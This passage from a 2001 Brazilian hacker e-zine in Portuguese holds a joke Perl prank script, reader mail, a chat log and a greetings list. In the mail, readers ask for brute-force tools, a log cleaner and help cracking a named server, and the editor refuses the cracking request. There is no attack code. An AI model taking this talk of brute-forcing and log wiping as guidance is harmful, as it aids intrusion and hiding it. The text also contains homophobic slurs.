@msg = ( "Parabens!!! Pelo que o monitor detectou voce eh da 3l337!!!", "Suas ondas cerebrais sao semelhantes as de um macaco!", "Esta sentindo um chero de fumassa? Seu processador queimou ao tentar analizar teu cerebro.", "Assim nao da! Pare de pensar em punheta e concentresse se nao o programa na executa direito.", "Sua inteligencia nao deu pra medir, mas sua homosexualidade ta em 105%.", "Hahaha!!! Eu passei cola no monitor!!! Ass: Pedrinho Traquinaz.", "Erro: O monitor nao detectou nenhuma cabeca. Ou voce nao esta seguindo as instrucoes direito ou tem uma cabeca oca.", "Nao consegui analiza tua cabeca, mas o virus que ta escondido ali no MBR eh muito esperto.", "Segmentation Fault (core dumped) bash# ", "Hahaha... voce eh tao lamer que vou fazer um favor a humanidade. Seu hd foi totalmente formatado!!!", "Nossa! Issu tudo eh emocao de estar na frente do micro??? Eu disse para encostar a cabeca no monitor e nao beija-lo!", "Erro: Da proxima vez faca cara de inteligente antes de dar Enter. Depois pode voltar ao normal...", "Erro: Nao faca cara de viado enquanto executa o programa!", "Analize concluida! Coloque uma ficha para saber o resultado.", "A versao DEMO deste programa acaba aki. Se quizer saber o resultado compre a versao completa.", "Operacao Ilegal! Este programa nao tem suporte a QIs abaixo de 20.", "Voce tem anotomias cranianas de um ferrero.", "Resultado: Lamah", "Resultado: Script Kiddah", "Resultado: Wanna be a Wannabe", "Resultado: Hax0r", "Resultado: z0ated", "Resultado: Biginnah" ); $ent = ; $i = 50000; while ($i < 60000) { print "$i"; $i = $i+3 } $msgtxt = $msg[ rand @msg ]; print "\n\n$msgtxt\n\n"; #eof <--> _xXXXP^'' ``^YXXXx_ _xXXXXP~ 17 - Emails ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Lembrando sepre que meu email e': cheat@struck.8m.com e: cszine@email.com Ou ainda: decopudim@ig.com.br Agora voce pode mandar emails direto da page tb. Os emails que enviaram respostas para o teste nao tiveram suas res- postas publicadas. ################ ################ ################ From: "*** ****" <******@hotmail.com> Subject: Teste da zine 4 e ..... Date: Fri, 30 Mar 2001 18:17:46 hei man ... blz ? tipow fiz o teste , achei legal da uma olhada e fala o resul pq sei q a zine demora , naum q com o teste eu va acha q se acertei varias so um hacker ou alguem q saca das coisa , mais quero sabe pra ve como to ... a tem uns teste legal em www.gabrieltorres.com ... a o X na questão siguinifica q num sei , como vc disse , sem chutes isso soh no vestiba e na iscola q era o q mais sabia faze nos provão q tinha hauhauaha ... (Respostas) ah se na de linguagem de alto e baxo nivel vc disser q é a letra C o bixo pega hehehe zuando , aquela fui por eliminação pq vc disse de alto e baxo nivel respectivamente e coloco como a) ASM e C q se fosse teria q ta ao contrario .... a B) era a q coloquei e a C ... quem sabe ... ahuahauahuaha se num errei a ordem o q fiz foi isso mermo ah otra coisa teu zine é bom pacas ... tipow as materia saum vbem escrita e facil pra entender , tu podi num credita mais tava começando a saca como escrve xploit e talz mto tesão quando vc faiz seus prog funfa , fiz varias coisa , teu zine deu uma força comecei e intende as parada ai comecei a faze varios treco , quando... o modem queimo ... moh merda , sem net e com a tua zine ateh o numbah 3 e mais umas otra zines legal fiz varios progs e talz mais depois inventei di instala o speedy da telefonica ... e o drive da porra da placa de rede deu uns pau pra compila no linux , formaei tudo e soh depois lembrei dos prog e talz moh merda ... e agora pra piora to com o windows , naum q ele seja uma merda completa ... mais .... num tem mta coisa pra fica funcando e istudando e testando e talz ... vo ve se ajeito a placa de rede no linux pq quando formatei tudo tava meio q cum pressa de ve o speedy funfa .. hehehe se vc leu ateh aqui ... vixi .. valeu hehehe .. vo para por aqui valeu kra ... continua com a zine pq essa ta legal pacas ... força pra vc manu .. fuiz ... !!!! Obs.: como to com o win se num sabe de nenhuma page de porgramação com texto sobre funções pra mexe no registro do windowz neh ... se soube de arguma coisa manda ae ... !!!! a em C ... Valeuz !!! ------------ Oww! Antes de mais nada valew pelos comentarios. E' sempre bom ouvir coisas assim. =) Ja lhe passei seu score no teste e vc pode conferir as questoes nesta edicao. Sobre como mecher nos registros do windows vc pode dar uma olhada nos arquivos .reg . Eles fazem issu... eh facil de entende-los, de uma olhada nos que estao no seu windows.. Issu ae... Falow! ################ ################ ################ From: ****@ig.com.br Subject: Um nova zine brasileira! Date: Wed, 1 Jan 1997 01:47:37 (Uops!! Alguem ta com a data atrazada) Aloha mano da F3! Mais uma nova zine estah nascendo (unhééé!) e estah em trabalho de parto :). Eh a zine BaitesBrasil, que aborda a informatica em geral(programacao, sci-fi, hackering, etc) Eu gostaria que vc incluisse um link nosso na sua pagina (www.baitesbrasil.cjb.net) e colocasse uum comentario sobre nos na sua zine, depois de le-la. Estamos na 1a edicao, mas queremos ser bem duradouros! Ateh mais, mano da F3, desejo boas zines pra vcs :) QuickBasic, Redator-Chefe da BaitesBrasil ------------ Parabens.. a zine ta mto boa. Espero que continuem assim. Hm... Parece q fazer zines voltou a virar moda. Espero que desta vez mantenham o nivel e nao saiam publicando qquer merda como aconteceu a um tempo atras. ################ ################ ################ From: *********@globo.com Subject: Pedido!! Date: Fri, 13 Apr 2001 15:56:03 Olá Cheat Struck, Sou Chernobyl Hover desde 1998 acompanho seus passos no mundo hacker e kero lhe dizer q 70% das coisas q sei hoje foi graças as vc (suas zines) e aos seus amigos hackers q lhe ajudavam a editar suas zines. Tenho todas as suas zines desde a CsZine d 00 a 25 e a f3rror da 00 até a 04 (não vamos entrar em detalhes). Mas este e-mail e para lhe fazer um pedido. Eu estou lançando minha zine a "Bhoor Zine", eu keria lhe pedir q vc divulgasse aos seus amigos a minha zine q pode ser encontrada no site http://www.txt.org (l e só procurar por "Bhoor" (sem as aspas). Se não for pedir d+ de uma lida e mande um e-mail para mim (*********@globo.com) falando sobre ela o q vc achou! Há para não eskecer vou tambem lhe mandar o código fonte do ALTIVORE.C, q e um programa de segurança q achu q vc vai gostar! Blz. Se kiser pode botar este mail na sua proxima zine (f3_05). A 04 tá filé espero q não sejá incomodo! Valeu... ------------ Putz! Alguem leu a minha resposta ao email anterior??? Se leu, volta lah e le dinovo. Eu disse: "espero q mantenham o nivel". Nao sou de folgar em ninguem mas a sua zine realmente nao presta. Li coisas lah que me deu vontade de vumitar. Eu to divulgando aki para que todos saibam o que nao ler para nao perderem seu tempo. Sei lah... mas isso mais parece ter sido feito durante um aborto de tao ruim que ficou. Eh tao chinelo que vale ateh levantar duvidas sobre a veracidade do autor. Digo: pode ser obra de um ex-namorado ciumento que para sakanear com a vida de seu homem fez essa coisa colocando o nick dele para queimar sua imagem. Ou algo mais conspirador ainda: algum lamer querendo se passar por hacker criando uma zine e grupo chinelos e fazendo com q todos queiram seu fim. Ae esse lamer muda de nick e troca a page como se ele tivesse 0wnado ela. Ae ele vira heroi de todos! eeeeehhhhhhh!!!!! Bem.. essas foram as saidas que consegui pensar para nao ter que acreditar que ainda existam pessoas tao lamahs a ponto de fazer uma zine em menos de 5 horas (aparece lah hora de inicio e fim) e acham que vai render alguma coisa. Kra... eh isso... nao tenhu mais o que comentar sobre essa porra! Ah.. aproveitando vou dar uma lista de zines que eu ja escrevi pq notei que mta gente foi atraz das antigas CSZines depois que eu lancei a f3. Nota: A CSZine foi a primeira zine que escrevi e como ja mencionei na f3-00, ela eh uma merda. Mas se mesmo assim quizeres ver, tem ateh a edicao 25 disponiveis na www.txt.org. Cheat Struck Zine 0-28 The Death Knights 7-10 s13 E-zine 1 struck.8m.com Texts 1-3 Fatal 3rror 0-5 Achu que nao me esqueci de nenhuma... ################ ################ ################ From: ***** ****** <********@yahoo.com.br> Subject: minha nota Date: Fri, 27 Apr 2001 13:03:58 ae manu blz? kra estou mandando as respostas do teste hax0r espero que eu me saio bem viu, eheheheheh! uma coisa se eu errar algumas ou "todas" vc pode me mandar as respostas para eu refletir e estudar as mesmas? sendo que eu nao saco muito eheheh! obrigado ai vai as minhas respostas! (Respostas) ehheeh espero ser o leitao... putzx..! me manda as respostas viu?? rlz.. tchau.. struck o mr.haXor ------------ Como nos outros casos, seu escore ja foi enviado-lhe por email ou "via correio eletronico" como diz meu professor de introducao a info. Confira as respostas corretas nesta edicao e aproveite para estudar mais as que erraste. Ah! detalhe: todas as respostas que me foram enviadas serviram para fazer as medias do Hack-Test publicadas nesta edicao. ################ ################ ################ From: **************@globo.com Subject: Hacking.... Date: Sat, 26 May 2001 18:20:55 Qualé manow, sempre segui e li muito suas zines! São muito boas, mas mandei este mail p/ se podesse me dizer, qual o curso da purcs vc está cursando! Estou p/ fazer vestibular neste fim de ano e queria uma dica sua, de preferência um curso que ensine algo referente a hacking, sei lá, Analista de Sistemas, Programador SR, ou algo que venha a ser do ramo hacking! Valew manow... Háa, sobre a zine f3, tá legal pra leleu. E queria fazer uma pergunta: No meu estado tem um server que estou precisando pegar umas senhas [passwd's], se não fosse muito incomodo []'s sei lá velhow já tentei de tudo [exploits, backdoors e outros recursos] mas não deu em nada por issu pegue pelo menos 20 min de seu acesso a net e de uma olhada no server: www.infonet.com.br Valeu, caso consiga exito mande um mail com o file anexado! Não pense ke pq não consegui os passwd's vc está pensando que sou mais um daqueles lamers querendo passwd's, vc vai ver q o server e bem protegido. Mas pela sua capacidade sei ke vc vai conseguir!! Valew[]'s... ------------ Ae esta um exemplo do que vcs nao devem fazer. Se eu quizesse desafios eu mesmo procuraria-os. Eu nao tenho interesse nenhum em tentar 0wnar seus alvos e se tivesse certamente nao enviaria o resultado de meu trabalho para vc. Pelo contrario, eu Fixaria os bugs q encontrei para pessoas como vc nao pudessem entrar lah MESMO! PS: Nao existe faculdade de hacking. Eu faco informatica (futura cienc da computacao) na PUCRS. ################ ################ ################ From: "********" <********@ieg.com.br> Subject: Atualização Date: Mon, 14 May 2001 10:17:05 Olá, você está na lista de atualização do www.onlooker.hpg.com.br O site foi totalmente atualizado, com muitas coisas, curiosidades, greetz, fuckz, downloads, apostilas, um grande arsenal de zines, musica... alem de muitos links legais, e de utilidade dos hax0rs, e para pessoas normais também! Espero que visite o site. Até mais! ---------------- Tae a propaganda gratuita da sua page. =) ################ ################ ################ From: "******" <******@bol.com.br> Subject: 4x10m4 Page - Mirror Date: Sun, 27 May 2001 21:06:01 -0300 E aeh Kara, To mandando este para informar que sua Zine ta disponivel para download na minha Page: http://4x10m4.vila.bol.com.br Falta ainda colocar lah uma sessaoum de Links e outra com Outros textos (não zine). Se vc tiver auguma Zine que naum tem na Page, e que mereca estar lah por favor me envie ou me indique. Antecipadamente agradeco 4x10m4 ---------------- Ae mais propaganda gratuita. Tem muita zine brasileira lah incluindo as cszines 26,27 e 28 que vc nao encontra na txt.org. Achu q todas as zines brasileiras boas estao lah, mas nem todas q estao lah sao boas. =) ################ ################ ################ From: "****** ** *******" <**********@mail.com> Subject: brute force Date: Mon, 18 Jun 2001 01:00:23 +0800 ae struck! eh o seguinte, eu estive procurando por programas de brute force (que faz tentativas de conexao utilizando uma worldlist, ta ligado?) e o unico q achei foi o unsecure, pra win32. mas eu estou atras de um brute force pra unix/linux e nao achei nada a respeito. eu vi que vc colocou o code de um brute force na f300 (eu acho) e queria saber se ele funciona bem, ou entao se vc conhece outro. e se conhecer, qual o eh o melhor. bom, aproveitando, gostaria de saber, qual eh o melhor log cleaner disponivel? o cls.c funciona bem? aguardo resposta. thanx, ******* ** -- ---------------- Tipo... C ja tentou procurar na packetstorm??? Search word(s): 'brute' 'force' Found 237 matches in 0.71875 seconds. Vai lah: packetstorm.securify.com. Tem mta coisa boa lah... Tipo.. os programa que eu publico na F3 tudo funfam legal... Nao ouvi reclamacoes ainda... vai ver pq ninguem usa.. heheh... tipo... o cls.c eh diferente dos outros log cleaner pq ele nao somente apaga o log mas tb escreve por cima com dados falsos. ################ ################ ################ from: ****** *********@ig.com.br Subject: Sobre a home page Date: Fri, 06 Jul 2001 05:14:13 cara, a home page tah d+ Vi que ela eh toda feita em cgi... o que vcs usaram? C ou perl? Cheat Struck, a home page tah de parabens e a zine tb. ------------------- Tkz... A hp foi toda feita em perl pelo pcHazard.. o novo webmaster da fatal 3rror hp.. =) eu so mandei ele pra policia uma tal de abim heheheh.... rlz agencia brasileira de inteligencia m ??? como eu nao fiz nada nao tenho com o que me preocupar claro eles falaram q era pra mante os cadastro atualizado ahuhaeueahuhaeuhae eh capaz deles quererem q eu ajude a achar hackers q nem vcs... hehehe voces?? vc ta falando do renegade e do psaux ? eu so q nem o pcmcia, nao fasso mal a uma mosga heheh.. mas podem dar mtas informacoes uteis... nada mesmo sob tortura eu nao entrego companheiros eles querem chegar ao cabeca da gangue! akele que todos chamam de primo... heheheh eu podia ser o cabeca da gangue... o struck comecem a me chamar de primo... jaejioaeji qq vc ta inventando primo? nada... tipo... ta ligado akela mina do baywatch yasmine uma morena de olhos verdes, peituda, gostosona... esses dia eu vi ela nakeles porno de sabado a noite no 10... nao mas conte to tentando achar os video aki... akela mina eh tudo huaeueauihaeuiaehae moh putedo uma das mulheres mais perfeitas da minha lista primo pounhetero hehehe.. fazer o q... inda nao achei uma mina q me satisfaca por completo... eu nao recebo sexo suficiente... tenho q bater umas de x enquando.. hehehhe alias.. faz tempo q to no seco... uhuiaehuiaehiuaehiueahueiaea hehehe.. rlz... eu sou o primo... eu assisti o chaves essa semana O PRIMO dae eu lembrei de vc hehuuhaeuhae hehehe. rlz.. faz tempo q eu nao assisto... nao tenho tempo.. saio pra facul 1:30... chaves soh comeca as 2:00 q q tem a ver primo com o kiko? vc, tem as boxexa grande e tal nao vamo te chama de kiko e nao de primo eahuuhaeuhaehuhae nah.. primo eh show aieuhuiaehuhiaeuhuhaeuhiaehiueahuiaeae esse vai ser meu apelido agora... uhaeueeuahea primo struck hehehe iuaehaeiuehaiuhuaeae tipo... todo mundo vai me chamar de primo agora... ateh meus irmao... primo struck rox heiauheuiahuaeuhae e ateh meu primo... vai impor isso a eles? vo eu soh vou atender agora qdo me chamarem de primo... na facul vai ser legal... os kra q nao me conhecem e ouvem... "o primo!" vao achar q eu to com a familia toda lah... uhaeiuhiaehiuaehuaehuihaeuhhaehuiheauiheaae tipo te chamam de struck na vida reaL>? nao nem sabem q eu sou o struck o unico q sabe eh meu irmao e meu primo... eu tenho o apelido de cartilagem desde a 5 serie mas me chamam pelo nome mesmo dae encurtei e hoje eh so carti mas todo mundo conhece como carti e tal pq cartilage?? por isso nunca pude fazer merda com esse nick na 5 serie eu era akeles pia magricela, q so tem coro e cartilagem dae fico desculpa eh o que nao falta eheheh no comeco nao gostei muito mas depois adotei ele _xXXXP^'' ``^YXXXx_ _xXXXXP~ 18 - DuEnde ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Promocao!!! Fike famoso e ganhe um email gratis sabendo ASCII. Voce eh bom de ASCII??? Pois faca um logo em ASCII para a f3 e envie-o para promocao_fike_famoso_e_ganhe_um_email_gratis@struck.8m e ele sera eleito pelos editores da fatal 3rror e adotado nas proximas edicoes da zine. Alem de seu nick aparecer em todas edicoes da f3, vc ainda ganha de brinde um redirecionador de emails na fatal3rror.com e ainda fika com seu nick la na caixa de mensagens do site da f3. Issu tudo e mais... nos podemos pensar no seu caso e lhe dar acesso ao canal de reuniao dos editores da fatal3rror na brasnet. Curtiu??? Entao nao perca mais tempo e envie o logo agora mesmo. A promocao vale ateh a publicacao da proxima edicao. Vamos aos gr33ts! Comecando desta vez pelos ativos... ^^VENTO^^ Sssssss? Ssss Sss Sssssssssssssss Sssss! (ligua dos ventos) Cacaio Nao de drogas para ele! Da ultima vez comeu um bigmac achando que era um sabonete. Nao.. nao torquei as palavras... Chernob Membro da sociedade de pintores surrealistas modernos. BEHAEL Foi criado numa fazenda junto as vacas e agora pensa ser um bezerro. Esta com febre aftosa! Nao o comam!!! C0nd0r Pratica programacao em ASM com os dedos dos pes. Carti Membro do fa-clube do membro dos membros do BSB. Dave Mustaine Internado numa clinica psiquiatrica por ter visto duendes. Encripty Afirma que duendes roubaram suas cuecas! Kamikase Shell Este obedece as ordens de um duende. MidNight Ficou de sako cheio de me ouvir falar em duendes e fechou esta edicao da zine mais cedo. N4rfy Desenvolveu um estranho medo de tapetes e cortinas. Overnix Desenvolveu uma estranha tara por tapetes e cortinas. pcHazard Portador de doencas psicologicas que causam seus solucos afeminados. psaux Traz imigrantes ilegais dos EUA para viver no Brasil. RoadHouse Nao pensei nada engracado pra ele. Source Problemas com a GNU. Querem abri-lo!!! syscall Inutilizado sem a interrupcao 0x80. TPGA Gostaria de ser um cachorro para poder lamber as proprias bolas. vh "Por que se olharmos dentro da colher a imagem fica de cabeca pra baixo, e se olharmos fora fica normal??" Agora os passivos... heheh.. digo.. agora o pessoal que anda sumido... Defcon Defensor da causa "Nao de alcool para seu carro" MaskMaster Defensor da causa "Beba o q seu carro bebe" NuLLz Transforme essa forma decadente em MUNRAAAAH! pcmcia Se seu carro pifar, tente sair e entrar denovo. Slash_DOMI Egoista q pensa mais em si mesmo do q em mim. Spike Usa XT porque a pressa eh inimiga da perfeicao. Tinkertrain Costuma tomar sorvetes pela testa. E por fim... o pessoal que fica em cima do muro... digo... agora a halera que eu nao sei por onde anda... Draco Vive perigosamente. Faz pipoca com a panela aberta! Eletronic Projetista de artefatos eroticos. hak Bacharelado na escola superior de garcons. Suli_Cool Troca 286 com monitor por pacote de bolachas marias. Thasmx Depravado em busca da futura ex-namorada. Eh issu ae! aki acaba mais uma edicao da fatal 3rror zine. Ateh a proxima! _EoF_